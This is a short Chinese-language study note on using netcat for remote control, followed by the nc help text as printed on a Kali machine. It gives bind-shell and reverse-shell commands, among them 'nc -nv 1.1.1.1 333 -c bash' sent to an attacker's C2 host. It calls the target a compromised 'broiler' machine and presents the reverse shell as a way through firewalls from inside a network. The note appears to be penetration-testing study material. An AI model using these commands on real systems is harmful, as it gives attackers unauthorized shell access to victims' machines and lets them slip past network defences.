=== nc 做远程控制 ===
原理实际上和之前的传文本一样,服务器端起监听,客户端端去链接,之后监听的服务器端传一个自己的shell过去到客户端
正向:侦听方为肉鸡,C2 访问肉鸡
SERVER: nc -lp 333 -c bash
CLIENT: nc -nv 1.1.1.1 333
或者反向:侦听方为C2,肉鸡访问C2
SERVER :nc -lp 333
CLIENT : nc -nv 1.1.1.1 333 -c bash
-c shell command。也就是要使用的shell。windows下用cmd
注意,谁使用-c bash,谁就是肉鸡。肉鸡发 shell。反向的可以用来穿墙。因为是从肉鸡,从内网,向外(攻击者的C2电脑)发起访问。
类似的原理可以用在其他协议的穿墙上。比如ftp的passive和active mode
root@kali:~/Documents# nc -h
[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]